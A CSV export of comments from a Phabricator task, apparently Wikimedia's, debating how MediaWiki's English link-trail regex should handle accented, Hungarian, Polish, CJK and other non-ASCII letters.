",,,1471883260,,PHID-USER-co4khfkxwku2c5tgvhnc,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,164,,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,0.8636363636363636,"QUOTE
QUOTE

Those links can be used in many languages. In German Wikipedia they are used exceedingly!
"
703561,The default (English) link trail ($linkTrail) only matches [a-z],"\p{Latin} would not be sufficient to avoid breaking words. There are languages needing other characters within Latin, notably with combining sequences. See for example Vietnamese that could use letters with two diacritics ! See also Chinese pinyin text, and some African languages.

In fact the minimum would require adding all combining characters (really needed to avoid breaking default grapheme clusters), all joiner controls, digits (including their wide versions used in CJK contexts because p{Latin} also includes wide letters), and a few punctuations (and the soft hyphen, but probably not the minus-hyphen).

Handling the ASCII apostrophe is complex (even more complex in MediaWiki due to its use to markup bold and italic styles: an initial parsing of these wiki syntax would be needed to know if these are apostrophes or markup...).

Note also that the apostrophe mays also be used as a quote (this is covered in more details in Unicode word breakers), and that this concerns not only the the ASCII apostrophe but also the rounded apostrophe.

Again, it is really needed to look at the Unicode standard :

# a MUST-HAVE in all cases, for all languages first requires not breaking any combining sequences before any characters with a non-zero combinining class and not even before CGJ), and to ensure that canonically equivalent strings will always break identically (needed for strict process conformance as required by the standard in all algorithms).
#  the rules for default grapheme clusters breakers (this adds some unbreakable sequences for Latin text), these rules are language-neutral (there are a few rules to take for Latin text, notably ""spacing diacritics"", and joiners; we could exclude here some ""letterlike"" symbols that are not really Latin).
#  the rules for word breakers (even if we consider only Latin-written languages): these rules however are language-sensitive (English is simple at this step but not all Latin-written languages, here there's the case for apostrophes, hyphens...)

In summary, it will be much more complex than just a regular expression: it requires a specific parser code (look at ICU implementation).",,,1470057925,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,161,,2.8,0.0,0.0,0.8,1.4,7.2,0.6,0.2,0.0,0.4,2.2,0.0,0.0,0.4,0.6,0.4,0.0,7.6,9.4,0.0,1.4,0.2,0.0,0.2,0.2,0.0,0.0,0.0,0.4,1.0,0.2,3.4,1.2,0.8,0.8,0.0,0.0,0.0,0.2,2.2,0.0,0.2,0.2,0.8,0.0,0.6,0.0,0.4,0.6,16.6,0.6,1.0,0.2,1.4,0.0,0.2,0.0,0.0,1.2,0.0,0.0,0.6,0.0,0.0,0.0,0.4,0.0,4.4,3.0,5.8,1.2,2.4,8.2,0.0,0.0,0.2,0.6,4.2,0.0,0.4,0.0,1.6,9.4,3.0,0.0,0.8,0.0,1.6,0.0,0.4,1.6,0.0,2.0,0.6,0.0,0.0,4.3238095238095235,0.7605882352941176,"\p{Latin} would not be sufficient to avoid breaking words. There are languages needing other characters within Latin, notably with combining sequences. See for example Vietnamese that could use letters with two diacritics ! See also Chinese pinyin text, and some African languages.

In fact the minimum would require adding all combining characters (really needed to avoid breaking default grapheme clusters), all joiner controls, digits (including their wide versions used in CJK contexts because p{Latin} also includes wide letters), and a few punctuations (and the soft hyphen, but probably not the minus-hyphen).

Handling the ASCII apostrophe is complex (even more complex in MediaWiki due to its use to markup bold and italic styles: an initial parsing of these wiki syntax would be needed to know if these are apostrophes or markup...).

Note also that the apostrophe mays also be used as a quote (this is covered in more details in Unicode word breakers), and that this concerns not only the the ASCII apostrophe but also the rounded apostrophe.

Again, it is really needed to look at the Unicode standard :

# a MUST-HAVE in all cases, for all languages first requires not breaking any combining sequences before any characters with a non-zero combinining class and not even before CGJ), and to ensure that canonically equivalent strings will always break identically (needed for strict process conformance as required by the standard in all algorithms).
#  the rules for default grapheme clusters breakers (this adds some unbreakable sequences for Latin text), these rules are language-neutral (there are a few rules to take for Latin text, notably ""spacing diacritics"", and joiners; we could exclude here some ""letterlike"" symbols that are not really Latin).
#  the rules for word breakers (even if we consider only Latin-written languages): these rules however are language-sensitive (English is simple at this step but not all Latin-written languages, here there's the case for apostrophes, hyphens...)

In summary, it will be much more complex than just a regular expression: it requires a specific parser code (look at ICU implementation)."
703418,The default (English) link trail ($linkTrail) only matches [a-z],Hungarian was cited because the current conservative linktrail rules break Hungarian words. `\p{L}` or `\p{L&}` would work well for Hungarian (I imagine the latter was used to avoid affecting CJK languages; no idea how well that works). Even `\p{Latin}` would be fine.,,,1470035748,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,161,,0.0,0.0,0.0,4.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,19.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,12.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.4375,0.7916666666666666,Hungarian was cited because the current conservative linktrail rules break Hungarian words. CODE or CODE would work well for Hungarian (I imagine the latter was used to avoid affecting CJK languages; no idea how well that works). Even CODE would be fine.
703368,The default (English) link trail ($linkTrail) only matches [a-z],For years it was corrected in the other direction. It would be mad to change this now.,,,1470008927,,PHID-USER-4z6eerx3m7iocsrcpku5,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.9473684210526315,For years it was corrected in the other direction. It would be mad to change this now.
703212,The default (English) link trail ($linkTrail) only matches [a-z],"I don't think that ""cleanup"" operations such as automated replacement of [[Dog|dogs]] to [[dog]]s are useful. In fact they are counterproductive (and in fact unnecessary for the Visual Editor that should completely avoid using these link trails).

My opinion is we **should deprecate** these old link trails and in fact correct the other ways (link trails are just a minor facility for **lazy** English contributors using the Wiki code editor.

In fact, even the Wiki editor should better automatically convert these trails (only [a-z]) to regular links without them. It would also simplify the parsers for bots and analysers. Contributors should always use regular links, that are in fact more readable, and more explicit about the effective range of text covered by links.",,,1469974285,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0.0,0.0,0.5,0.0,0.5,11.5,2.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,1.5,0.0,6.5,9.5,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,3.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,17.0,1.5,1.5,0.5,1.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,4.0,2.5,7.0,0.5,2.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.5,1.5,0.0,1.0,0.0,3.0,0.0,1.0,0.5,0.5,1.0,2.0,0.0,4.5,4.0875,0.71875,"I don't think that ""cleanup"" operations such as automated replacement of [[Dog|dogs]] to [[dog]]s are useful. In fact they are counterproductive (and in fact unnecessary for the Visual Editor that should completely avoid using these link trails).

My opinion is we **should deprecate** these old link trails and in fact correct the other ways (link trails are just a minor facility for **lazy** English contributors using the Wiki code editor.

In fact, even the Wiki editor should better automatically convert these trails (only [a-z]) to regular links without them. It would also simplify the parsers for bots and analysers. Contributors should always use regular links, that are in fact more readable, and more explicit about the effective range of text covered by links."
703210,The default (English) link trail ($linkTrail) only matches [a-z],"I don't think that ""cleanup"" operations such as automated replacement of [[Dog|dogs]] to [[dog]]s are useful. In fact they are counterproductive (and in fact unnecessary for the Visual Editor that should completely avoid using these link trails).

My opinion is we **should deprecate** these old link trails and in fact correct the other ways (link trails are just a minor facility for **lazy** editors using the Wiki code editor.

In fact, even the Wiki editor should better automatically convert these trails (only [a-z]) to regular links without them. It would also simplify the parsers for bots and analysers. Contributors should always use regular links, that are in fact more readable, and more explicit about the effective range of text covered by links.",,,1469974218,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0.0,0.0,0.5,0.0,0.5,9.5,2.0,0.0,0.0,0.0,3.5,0.5,0.0,0.5,0.0,1.5,0.0,6.5,9.5,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,3.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,18.5,1.5,1.5,0.5,2.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,4.0,2.5,6.0,0.5,2.5,5.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,9.5,1.5,0.0,1.0,0.0,3.5,0.0,1.0,0.5,0.5,1.0,2.0,0.0,5.0,4.037816455696203,0.7170886075949368,"I don't think that ""cleanup"" operations such as automated replacement of [[Dog|dogs]] to [[dog]]s are useful. In fact they are counterproductive (and in fact unnecessary for the Visual Editor that should completely avoid using these link trails).

My opinion is we **should deprecate** these old link trails and in fact correct the other ways (link trails are just a minor facility for **lazy** editors using the Wiki code editor.

In fact, even the Wiki editor should better automatically convert these trails (only [a-z]) to regular links without them. It would also simplify the parsers for bots and analysers. Contributors should always use regular links, that are in fact more readable, and more explicit about the effective range of text covered by links."
701736,The default (English) link trail ($linkTrail) only matches [a-z],"I can say that link trails work well in Polish, which has fairly complex conjugation and declension rules. I'd make a wild guess that it works in around 50% of cases (in English it's more like 99%, as you say). There is a very popular gadget on Polish Wikimedia projects that applies wikitext code cleanup, and one of the cleanups it does is converting things like `[[Dog|dogs]]` to `[[dog]]s`. I would be very sad if we wanted to get rid of them.",,,1469663792,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,0.0,0.0,2.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,4.0,1.0,5.0,17.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,2.0,0.0,9.0,1.0,3.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,2.0,15.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,11.0,3.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,9.0,17.0,5.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,1.0,1.0,1.0,0.0,0.0,3.6842105263157894,0.7368421052631579,"I can say that link trails work well in Polish, which has fairly complex conjugation and declension rules. I'd make a wild guess that it works in around 50% of cases (in English it's more like 99%, as you say). There is a very popular gadget on Polish Wikimedia projects that applies wikitext code cleanup, and one of the cleanups it does is converting things like CODE to CODE. I would be very sad if we wanted to get rid of them."
701734,The default (English) link trail ($linkTrail) only matches [a-z],"I can say that link trails work well in Polish, which has fairly complex conjugation and declension rules. I'd make a wild guess that it works in around 50% of cases (in English it's more like 99%, as you say). There is a very popular gadget that applies wikitext code cleanup, and one of the cleanups it does is converting things like `[[Dog|dogs]]` to `[[dog]]s`. I would be very sad if we wanted to get rid of them.",,,1469663654,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,0.0,0.0,2.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,4.0,1.0,5.0,16.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,2.0,0.0,10.0,1.0,3.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,2.0,13.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,9.0,3.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,10.0,16.0,5.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,1.0,1.0,1.0,0.0,0.0,3.5714285714285716,0.7362637362637363,"I can say that link trails work well in Polish, which has fairly complex conjugation and declension rules. I'd make a wild guess that it works in around 50% of cases (in English it's more like 99%, as you say). There is a very popular gadget that applies wikitext code cleanup, and one of the cleanups it does is converting things like CODE to CODE. I would be very sad if we wanted to get rid of them."
701733,The default (English) link trail ($linkTrail) only matches [a-z],"Note als othat a few languages written in the Latin script also use ""agglutination"" for creating very long custom ""words"" by using many prefixes/inffixes/suffixes (and often some internal mutations). Such extension may break for example in Finnish or Hungarian (Hungarian was cited at top of this bug).

Any way I don't think that link trails are a very good idea: users can't control it easily (and should not have to include some arbitrarty separation toklen such as ""nowiki/>"" to limit these trails. Link trails were added only for lazy English writers that want to create links to a singural noun, by placing the final ""s"" of the displayed plural in the trail, or for placing some common suffixes (""ed"", ""s"") of conjugated verbs (but it does not work when there are more complex mutations such as ""*y -> *ies"").

This concept of link trails does not even exist in HTML. And anyway with the Visual Editor, we much less need it now as it is simpler to edit links separately of their visible text content.
",,,1469663399,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.3333333333333335,0.0,0.6666666666666666,0.6666666666666666,2.0,6.333333333333333,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,7.666666666666667,9.666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,13.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,2.0,5.666666666666667,0.6666666666666666,2.3333333333333335,5.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,3.0,9.666666666666666,4.0,0.0,5.333333333333333,0.0,3.0,0.0,1.0,1.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,3.761261261261261,0.8063063063063063,"Note als othat a few languages written in the Latin script also use ""agglutination"" for creating very long custom ""words"" by using many prefixes/inffixes/suffixes (and often some internal mutations). Such extension may break for example in Finnish or Hungarian (Hungarian was cited at top of this bug).

Any way I don't think that link trails are a very good idea: users can't control it easily (and should not have to include some arbitrarty separation toklen such as ""nowiki/>"" to limit these trails. Link trails were added only for lazy English writers that want to create links to a singural noun, by placing the final ""s"" of the displayed plural in the trail, or for placing some common suffixes (""ed"", ""s"") of conjugated verbs (but it does not work when there are more complex mutations such as ""*y -> *ies"").

This concept of link trails does not even exist in HTML. And anyway with the Visual Editor, we much less need it now as it is simpler to edit links separately of their visible text content.
"
701731,The default (English) link trail ($linkTrail) only matches [a-z],"> Such link trails should contain only letters or digits in the same script as the last string script used within the inner text of the link and only if that script is alphabetic or an abjad, but probably not Indic abugidas and not any sinographic script (a good question is: can we extend some kanas after a kanji in the inner text of the link (I don't think so), but we can probably extend runs of kanas.

There are some rules for semi-sensible word breaking in CJK languages. VisualEditor implements some of them to be able to e.g. extend selection to the word around cursor when inserting an internal link. I'm not sure if they're simple enough to implement as a regexp; @dchan can probably advise.",,,1469663161,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,4.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,2.0,2.0,0.0,9.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,5.0,4.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,18.0,4.0,0.0,0.0,0.0,5.0,0.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,4.526315789473684,0.8771929824561403,"QUOTE

There are some rules for semi-sensible word breaking in CJK languages. VisualEditor implements some of them to be able to e.g. extend selection to the word around cursor when inserting an internal link. I'm not sure if they're simple enough to implement as a regexp;SCREEN_NAME can probably advise."
701728,The default (English) link trail ($linkTrail) only matches [a-z],"In my opinion [[:alpha:]] or \p{L} would be wrong for Chinese and Thai at least ! they would produice overlong links sticked side by side everywhere and covering most contents in all paragraphs. In Wikipedia, almost all the text of paragraphs would be blue except the start of paragraphs without significant words.

Such link trails should contain only letters or digits in the same script as the last string script used within the inner text of the link and only if that script is alphabetic or an abjad, but probably not Indic abugidas and not any sinographic script (a good question is: can we extend some kanas after a kanji in the inner text of the link (I don't think so), but we can probably extend runs of kanas.

The Unicode rule of matching identifiers is not usable for this (we are not in the context of a programminc language but within a context of use by a natural language, so the punctuation/spacing rules are very different).

If we want a regexp, for now let's focus only in Latin, Greek, Cyrillic, Arabic, Hebrew, and possibly Hangul, breaking the run if there's any change of script (but not if these are ""weak"" digits belonging to all scripts). Extending the regexp for other scripts should be tested first (the hint here is to look at existing rules existing in CLDR for *word breakers* and look at the Unicode standard covering this complex aspect. And may be include also the line breakers to restrict more the link trails to get shorter runs.

However this should not be very language specific: it should better be script-specific.

",,,1469662578,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1.5,0.0,0.5,0.25,1.75,7.0,1.75,0.0,0.0,1.0,2.5,0.25,0.0,1.0,0.25,1.5,0.0,6.25,10.75,0.0,1.0,1.25,0.0,0.0,0.0,0.25,0.0,0.0,0.75,0.75,0.75,2.5,0.25,0.25,0.25,0.0,0.0,0.0,0.0,0.75,0.0,0.25,0.25,0.5,0.0,0.75,0.0,0.0,0.0,16.25,0.75,0.5,0.0,0.5,0.0,0.25,0.0,0.0,0.75,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.25,3.5,5.75,1.25,3.75,9.25,0.0,0.0,0.25,0.0,5.0,0.0,0.0,0.0,2.25,10.75,3.5,0.0,0.5,0.0,2.25,0.0,0.0,1.75,0.0,2.25,0.5,0.5,0.75,4.012152777777778,0.7204475308641975,"In my opinion [[:alpha:]] or \p{L} would be wrong for Chinese and Thai at least ! they would produice overlong links sticked side by side everywhere and covering most contents in all paragraphs. In Wikipedia, almost all the text of paragraphs would be blue except the start of paragraphs without significant words.

Such link trails should contain only letters or digits in the same script as the last string script used within the inner text of the link and only if that script is alphabetic or an abjad, but probably not Indic abugidas and not any sinographic script (a good question is: can we extend some kanas after a kanji in the inner text of the link (I don't think so), but we can probably extend runs of kanas.

The Unicode rule of matching identifiers is not usable for this (we are not in the context of a programminc language but within a context of use by a natural language, so the punctuation/spacing rules are very different).

If we want a regexp, for now let's focus only in Latin, Greek, Cyrillic, Arabic, Hebrew, and possibly Hangul, breaking the run if there's any change of script (but not if these are ""weak"" digits belonging to all scripts). Extending the regexp for other scripts should be tested first (the hint here is to look at existing rules existing in CLDR for *word breakers* and look at the Unicode standard covering this complex aspect. And may be include also the line breakers to restrict more the link trails to get shorter runs.

However this should not be very language specific: it should better be script-specific.

"
701333,The default (English) link trail ($linkTrail) only matches [a-z],"Historical note: Using a more extensive regex was tried in 416c84480 (although I don't know why it used `\p{L&}` rather than `[[:alpha:]]` or `\p{L}`), but this was reverted in 5b97a5bb due to {T17035}. We could probably try that again (without the apostrophe, see T16655) now that we require a more modern version of PHP with a more modern version of PCRE.",,,1469628163,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0.0,0.0,0.0,3.0,1.0,5.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,0.0,4.0,0.0,14.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,15.0,4.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,5.0,15.0,8.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,0.0,1.0,4.0,0.0,0.0,3.8493150684931505,0.7808219178082192,"Historical note: Using a more extensive regex was tried in 416c84480 (although I don't know why it used CODE rather than CODE or CODE), but this was reverted in 5b97a5bb due to {T17035}. We could probably try that again (without the apostrophe, see T16655) now that we require a more modern version of PHP with a more modern version of PCRE."
701310,The default (English) link trail ($linkTrail) only matches [a-z],"""Is this strange behaviour something we want to preserve, or is it just a historical quirk?""
Or just survived tests, as a rare case.",,,1469625591,,PHID-USER-4c6srusxkc3xljf73qq6,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0.0,3.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5483870967741935,0.8709677419354839,"""Is this strange behaviour something we want to preserve, or is it just a historical quirk?""
Or just survived tests, as a rare case."
701307,The default (English) link trail ($linkTrail) only matches [a-z],"Essentially I think the linktrail for `en` should include all Latin-alphabet characters in the regex. Would `/^(\p{Latin}+)(.*)$/` work?

Although, oddly enough, most uppercase letters are left out of the linktrails. For the Hungarian example above, only accented uppercase letters are matched, not regular ones. Most languages don't include any uppercase letters in their linktrail  string. Is this strange behaviour something we want to preserve, or is it just a historical quirk?",,,1469625378,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,2.0,1.0,0.0,2.0,2.0,8.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,2.0,0.0,10.0,9.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,13.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.540229885057471,0.7701149425287356,"Essentially I think the linktrail for CODE should include all Latin-alphabet characters in the regex. Would CODE work?

Although, oddly enough, most uppercase letters are left out of the linktrails. For the Hungarian example above, only accented uppercase letters are matched, not regular ones. Most languages don't include any uppercase letters in their linktrail  string. Is this strange behaviour something we want to preserve, or is it just a historical quirk?"
701301,The default (English) link trail ($linkTrail) only matches [a-z],"No, this is a perfectly valid bug. Unfortunately ""link trails"" are currently specified per-language, and the link trail for English doesn't include any accented characters. For example it's defined like this for Hungarian: `$linkTrail = '/^([a-záéíóúöüőűÁÉÍÓÚÖÜŐŰ]+)(.*)$/sDu';`, but these characters will only work on a Hungarian-language wiki.",,,1469624271,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,2.0,0.0,2.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,10.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.254237288135593,0.7796610169491526,"No, this is a perfectly valid bug. Unfortunately ""link trails"" are currently specified per-language, and the link trail for English doesn't include any accented characters. For example it's defined like this for Hungarian: CODE, but these characters will only work on a Hungarian-language wiki."
701129,The default (English) link trail ($linkTrail) only matches [a-z],OK. Thanks for the detailed explanation.,,,1469598638,,PHID-USER-4c6srusxkc3xljf73qq6,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,0.875,OK. Thanks for the detailed explanation.
701065,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).

There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].

To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
At each revision of Unicode, we would need to regenerate this matching regexp.

Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers

